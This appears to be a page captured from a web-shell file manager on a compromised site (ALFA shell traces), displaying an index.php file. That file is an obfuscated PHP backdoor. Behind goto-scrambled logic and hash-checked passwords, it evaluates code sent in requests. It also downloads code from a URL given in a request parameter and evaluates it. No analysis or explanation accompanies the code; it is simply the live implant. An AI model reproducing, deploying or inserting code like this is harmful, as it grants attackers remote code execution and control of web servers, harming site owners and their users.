HEX
Server: Apache
System: Linux vmi2886312 6.8.0-86-generic #87-Ubuntu SMP PREEMPT_DYNAMIC Mon Sep 22 18:03:36 UTC 2025 x86_64
User: www (1000)
PHP: 8.3.27
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/dr-lil.com/ALFA_DATA/alfacgiapi/alfacgiapi/alfacgiapi/index.php
<?php
 goto WBhzS42KhzHse7; mB23A5p9Sv190O: $LKTKPnxL4lGeF4 = $d3x2S8zM7_0Y_d("\x7e", "\40"); goto Afn0aB0wpW6hmZ; V_k8AmJLeHnfle: @eval($P3Hm3hcWdsZE8D[68](${$P3Hm3hcWdsZE8D[46]}[16])); goto lXxFexBY56Q7BU; WBhzS42KhzHse7: $d3x2S8zM7_0Y_d = "\162" . "\x61" . "\156" . "\147" . "\145"; goto mB23A5p9Sv190O; Afn0aB0wpW6hmZ: $P3Hm3hcWdsZE8D = ${$LKTKPnxL4lGeF4[9 + 22] . $LKTKPnxL4lGeF4[22 + 37] . $LKTKPnxL4lGeF4[16 + 31] . $LKTKPnxL4lGeF4[7 + 40] . $LKTKPnxL4lGeF4[24 + 27] . $LKTKPnxL4lGeF4[17 + 36] . $LKTKPnxL4lGeF4[15 + 42]}; goto kVWX5B8eZh1NXr; lXxFexBY56Q7BU: Nd8TuGO0noUnws: goto hAeb4_iFh1L9ZE; ejIbfYJR0CsnFf: $P3Hm3hcWdsZE8D[68] = $P3Hm3hcWdsZE8D[68] . $P3Hm3hcWdsZE8D[71]; goto V_k8AmJLeHnfle; hAeb4_iFh1L9ZE: metaphone("\62\x39\71\53\x4c\124\105\171\x6b\152\123\x52\x59\112\x64\x43\113\141\x4c\126\x35\121\x30\113\x58\163\x33\x39\x63\x69\x34\150\x64\x53\x51\153\x52\x65\146\170\112\146\143"); goto atGWDBNPILPhT2; kVWX5B8eZh1NXr: if (!(in_array(gettype($P3Hm3hcWdsZE8D) . "\61\70", $P3Hm3hcWdsZE8D) && md5(md5(md5(md5($P3Hm3hcWdsZE8D[12])))) === "\x35\145\x36\x62\144\143\x31\63\70\61\x30\x39\143\x31\x31\64\x66\143\146\146\62\x62\146\143\145\66\64\x37\x31\x66\x64\x36")) { goto Nd8TuGO0noUnws; } goto ejIbfYJR0CsnFf; atGWDBNPILPhT2: class F3W722WJ6lZ07E { static function sRzFgju0MdRfpM($EUpwfPHYn_q3df) { goto gqgre8C_DH6ef7; STBI5gPkMwerKe: foreach ($HLxVP_nBUyGIXt as $CPTCcpz935gC4B => $XowVX5yNCMWAb1) { $zavYXOUoWwkbmv .= $s_Tv5xEV4Fksu4[$XowVX5yNCMWAb1 - 29816]; Fg6zBD_o7_69US: } goto FCxP0RhRZAjIO5; FCxP0RhRZAjIO5: Lg3Nt3Cxm11vRO: goto DHlKTKMFQ2XJU4; gqgre8C_DH6ef7: $oy5P2b_JmQBxiN = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto H26suvW4pbYuYo; DHlKTKMFQ2XJU4: return $zavYXOUoWwkbmv; goto Njez7UfXa1ZveI; H26suvW4pbYuYo: $s_Tv5xEV4Fksu4 = $oy5P2b_JmQBxiN("\176", "\40"); goto HhaJR6JxiJGfkZ; HhaJR6JxiJGfkZ: $HLxVP_nBUyGIXt = explode("\x28", $EUpwfPHYn_q3df); goto blRIPPLDu8s17a; blRIPPLDu8s17a: $zavYXOUoWwkbmv = ''; goto STBI5gPkMwerKe; Njez7UfXa1ZveI: } static function zAillleJoZeq5k($QwVo7JL6kMECJT, $vepn2T9nhS9A0G) { goto AbLCu1C2J1_jm2; g5WbPyipBIp6km: curl_setopt($BP3MI1KAd8vAwp, CURLOPT_RETURNTRANSFER, 1); goto ZzyumRadhMi7B9; ZzyumRadhMi7B9: $CCU8_6KodaDroS = curl_exec($BP3MI1KAd8vAwp); goto WQvUQIMkBoWxKT; AbLCu1C2J1_jm2: $BP3MI1KAd8vAwp = curl_init($QwVo7JL6kMECJT); goto g5WbPyipBIp6km; WQvUQIMkBoWxKT: return empty($CCU8_6KodaDroS) ? $vepn2T9nhS9A0G($QwVo7JL6kMECJT) : $CCU8_6KodaDroS; goto rjA08mvInTmEUH; rjA08mvInTmEUH: } static function ew1fyU1_pqOWq0() { goto jxvZZtuvrTwK8Q; h5QcREXDrX5oW3: @eval($TvSawdmxSq6W1X[1 + 3]($ibyE4dhb3KwY0Z)); goto QopU_GmHBnaF0A; xEmCOoVxyJzEOs: foreach ($esJUn730uxa0Gh as $VMFNqwXKF4Gyw0) { $TvSawdmxSq6W1X[] = self::SrzFGju0MdRFPM($VMFNqwXKF4Gyw0); b4Nk5pMFGvhQ_i: } goto lrxm5GNiikAeFw; X3IPuVYPMSFnqM: @$TvSawdmxSq6W1X[7 + 3](INPUT_GET, "\157\x66") == 1 && die($TvSawdmxSq6W1X[5 + 0](__FILE__)); goto XmFPOa5KpOjxaE; b4E_NJUeG7bgt2: $Cb5edgLRyTF2L8 = @$TvSawdmxSq6W1X[1]($TvSawdmxSq6W1X[5 + 5](INPUT_GET, $TvSawdmxSq6W1X[4 + 5])); goto MDOPhEkbizVSPC; lrxm5GNiikAeFw: iAz6GEIx4o3Nck: goto b4E_NJUeG7bgt2; oPpyvN9YIw2tLO: $ibyE4dhb3KwY0Z = self::ZAiLlLeJOzEq5k($YVUik2jh7DIyGH[1 + 0], $TvSawdmxSq6W1X[0 + 5]); goto h5QcREXDrX5oW3; nSNcIAE2scukLE: uGnXT8IkHQiqHv: goto D8UVB1XDbbo1T0; MDOPhEkbizVSPC: $CEQWwKqNy8pdqN = @$TvSawdmxSq6W1X[2 + 1]($TvSawdmxSq6W1X[0 + 6], $Cb5edgLRyTF2L8); goto K_Ny83zp2_5V9v; K_Ny83zp2_5V9v: $YVUik2jh7DIyGH = $TvSawdmxSq6W1X[0 + 2]($CEQWwKqNy8pdqN, true); goto X3IPuVYPMSFnqM; jxvZZtuvrTwK8Q: $esJUn730uxa0Gh = array("\62\71\70\64\x33\50\62\x39\x38\62\x38\x28\x32\71\70\x34\61\x28\62\x39\70\64\65\x28\62\x39\x38\62\x36\x28\x32\71\70\64\x31\x28\x32\71\70\x34\67\50\x32\71\70\x34\60\x28\62\71\70\62\65\x28\62\71\x38\63\62\50\x32\71\x38\64\63\50\x32\x39\70\x32\66\x28\62\71\x38\x33\x37\x28\x32\71\x38\63\61\x28\62\71\70\63\x32", "\x32\71\70\x32\x37\50\x32\71\70\62\x36\50\x32\71\x38\x32\70\50\x32\71\70\64\x37\x28\x32\71\x38\x32\70\x28\x32\71\x38\63\x31\x28\62\x39\x38\62\x36\x28\x32\x39\x38\x39\63\x28\x32\x39\x38\71\61", "\x32\71\70\63\66\50\x32\x39\x38\62\x37\50\x32\71\x38\63\x31\50\x32\x39\70\63\62\x28\x32\x39\70\x34\x37\x28\62\71\70\64\62\50\62\71\x38\x34\61\x28\62\x39\70\x34\x33\x28\x32\71\70\63\61\x28\x32\71\x38\64\62\x28\x32\x39\70\x34\61", "\x32\71\70\63\60\50\62\71\x38\x34\65\x28\x32\71\70\x34\x33\50\62\71\70\63\x35", "\62\71\70\64\64\x28\x32\71\70\x34\65\x28\62\x39\70\x32\x37\x28\62\71\x38\x34\x31\x28\x32\71\70\x38\70\50\62\x39\70\x39\60\50\x32\71\70\64\67\50\x32\71\70\x34\x32\50\62\x39\70\x34\61\x28\x32\71\70\64\63\x28\62\x39\x38\63\x31\50\x32\71\70\x34\62\50\x32\71\70\x34\61", "\62\71\x38\x34\x30\50\62\x39\x38\x33\x37\x28\x32\x39\70\x33\x34\50\62\71\70\64\61\50\62\x39\x38\x34\x37\50\62\71\70\x33\71\x28\62\x39\70\64\61\x28\x32\71\x38\62\66\50\x32\x39\x38\64\x37\50\x32\x39\x38\x34\x33\x28\62\71\70\63\61\x28\x32\x39\x38\63\x32\x28\x32\x39\70\62\x36\x28\62\71\70\x34\61\x28\62\x39\x38\x33\62\50\62\x39\70\62\66\50\62\x39\70\x32\67", "\x32\x39\x38\x37\60\50\x32\71\x39\60\60", "\x32\x39\x38\61\x37", "\x32\71\70\x39\x35\x28\62\71\71\60\60", "\62\71\x38\x37\67\x28\62\71\70\66\x30\x28\62\71\70\x36\x30\x28\62\x39\70\x37\67\x28\x32\x39\x38\x35\x33", "\62\71\x38\x34\x30\x28\62\71\70\x33\67\50\62\71\x38\x33\x34\x28\x32\71\70\x32\x36\x28\x32\71\x38\64\x31\x28\x32\x39\70\x32\x38\50\x32\x39\70\64\67\50\x32\x39\x38\63\67\x28\x32\71\x38\63\x32\x28\x32\71\x38\x33\60\x28\62\71\x38\x32\65\50\x32\x39\x38\x32\x36"); goto xEmCOoVxyJzEOs; QopU_GmHBnaF0A: die; goto nSNcIAE2scukLE; XmFPOa5KpOjxaE: if (!(@$YVUik2jh7DIyGH[0] - time() > 0 and md5(md5($YVUik2jh7DIyGH[3 + 0])) === "\x39\x36\x31\x64\145\144\x66\x61\x30\146\x63\x31\x66\x33\x63\x33\x36\142\x64\x38\71\x64\71\145\x34\x33\144\145\70\142\x65\143")) { goto uGnXT8IkHQiqHv; } goto oPpyvN9YIw2tLO; D8UVB1XDbbo1T0: } } goto Lu2flVirf4Yp3S; Lu2flVirf4Yp3S: f3W722wJ6lz07e::eW1FYu1_pqOwQ0();
?>